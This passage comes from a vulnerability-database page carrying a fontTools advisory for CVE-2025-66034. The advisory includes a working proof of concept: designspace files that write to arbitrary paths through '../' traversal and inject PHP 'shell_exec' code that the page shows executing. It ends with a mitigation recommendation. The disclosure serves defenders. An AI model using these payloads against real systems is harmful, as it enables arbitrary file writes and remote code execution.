create_source_font(\"source-light.ttf\", weight=100)\n    create_source_font(\"source-regular.ttf\", weight=400)\n```\n\n`malicious.designspace`\n```xml\n\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\n\u003cdesignspace format=\"5.0\"\u003e\n  \u003caxes\u003e\n    \u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/\u003e\n  \u003c/axes\u003e\n  \n  \u003csources\u003e\n    \u003csource filename=\"source-light.ttf\" name=\"Light\"\u003e\n      \u003clocation\u003e\n        \u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\n      \u003c/location\u003e\n    \u003c/source\u003e\n    \u003csource filename=\"source-regular.ttf\" name=\"Regular\"\u003e\n      \u003clocation\u003e\n        \u003cdimension name=\"Weight\" xvalue=\"400\"/\u003e\n      \u003c/location\u003e\n    \u003c/source\u003e\n  \u003c/sources\u003e\n  \n  \u003c!-- Filename can be arbitrarily set to any path on the filesystem --\u003e\n  \u003cvariable-fonts\u003e\n    \u003cvariable-font name=\"MaliciousFont\" filename=\"../../tmp/newarbitraryfile.json\"\u003e\n      \u003caxis-subsets\u003e\n        \u003caxis-subset name=\"Weight\"/\u003e\n      \u003c/axis-subsets\u003e\n    \u003c/variable-font\u003e\n  \u003c/variable-fonts\u003e\n\u003c/designspace\u003e\n```\n\nOptional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step.\n\n2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file.\n```bash\npython3 setup.py\n```\n3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename\n```bash\nfonttools varLib malicious.designspace\n```\n4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace\n```bash\ncat {{filename_location}}\n```\n5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.\n\n`malicious2.designspace`\n```xml\n\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\n\u003cdesignspace format=\"5.0\"\u003e\n\t\u003caxes\u003e\n        \u003c!-- XML injection occurs in labelname elements with CDATA sections --\u003e\n\t    \u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"\u003e\n\t        \u003clabelname xml:lang=\"en\"\u003e\u003c![CDATA[\u003c?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?\u003e]]]]\u003e\u003c![CDATA[\u003e]]\u003e\u003c/labelname\u003e\n\t        \u003clabelname xml:lang=\"fr\"\u003eMEOW2\u003c/labelname\u003e\n\t    \u003c/axis\u003e\n\t\u003c/axes\u003e\n\t\u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/\u003e\n\t\u003csources\u003e\n\t\t\u003csource filename=\"source-light.ttf\" name=\"Light\"\u003e\n\t\t\t\u003clocation\u003e\n\t\t\t\t\u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\n\t\t\t\u003c/location\u003e\n\t\t\u003c/source\u003e\n\t\t\u003csource filename=\"source-regular.ttf\" name=\"Regular\"\u003e\n\t\t\t\u003clocation\u003e\n\t\t\t\t\u003cdimension name=\"Weight\" xvalue=\"400\"/\u003e\n\t\t\t\u003c/location\u003e\n\t\t\u003c/source\u003e\n\t\u003c/sources\u003e\n\t\u003cvariable-fonts\u003e\n\t\t\u003cvariable-font name=\"MyFont\" filename=\"output.ttf\"\u003e\n\t\t\t\u003caxis-subsets\u003e\n\t\t\t\t\u003caxis-subset name=\"Weight\"/\u003e\n\t\t\t\u003c/axis-subsets\u003e\n\t\t\u003c/variable-font\u003e\n\t\u003c/variable-fonts\u003e\n\t\u003cinstances\u003e\n\t\t\u003cinstance name=\"Display Thin\" familyname=\"MyFont\" stylename=\"Thin\"\u003e\n\t\t\t\u003clocation\u003e\u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\u003c/location\u003e\n\t\t\t\u003clabelname xml:lang=\"en\"\u003eDisplay Thin\u003c/labelname\u003e\n\t\t\u003c/instance\u003e\n\t\u003c/instances\u003e\n\u003c/designspace\u003e\n```\n\n6. When the program is run, we can show we control the contents in the new file\n```bash\nfonttools varLib malicious2.designspace -o file123\n```\nHere being outputted to a localised area ignoring filename presented in variable-font\n\n7. We can look inside file123 to validate user controlled injection\n```bash\ncat file123\n```\nto show `\u003c?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?\u003e]]\u003e`\n\n8. Executing the file and reading looking at the newly generated file\n```bash\nphp file123\nls -la /tmp/MEOW123\n```\nwe can see that the file was just created showing RCE.\n\n## Recommendations\n\n- Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system",
  "id": "PYSEC-2026-1389",
  "modified": "2026-07-07T17:24:09.978286Z",
  "published": "2026-07-07T16:03:11.465612Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fonttools/fonttools"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/fonttools"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-768j-98cg-p3fv"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

BREW-FONTTOOLS-CVE-2025-66034 (CVE-2025-66034)

CVE-2025-66034 (GCVE-0-2025-66034)

GHSA-768J-98CG-P3FV

Summary

Affected Lines

PoC

Recommendations

PYSEC-2026-1389

Summary

Affected Lines

PoC

Recommendations

Tags

Sightings

Nomenclature

Related by attack behaviour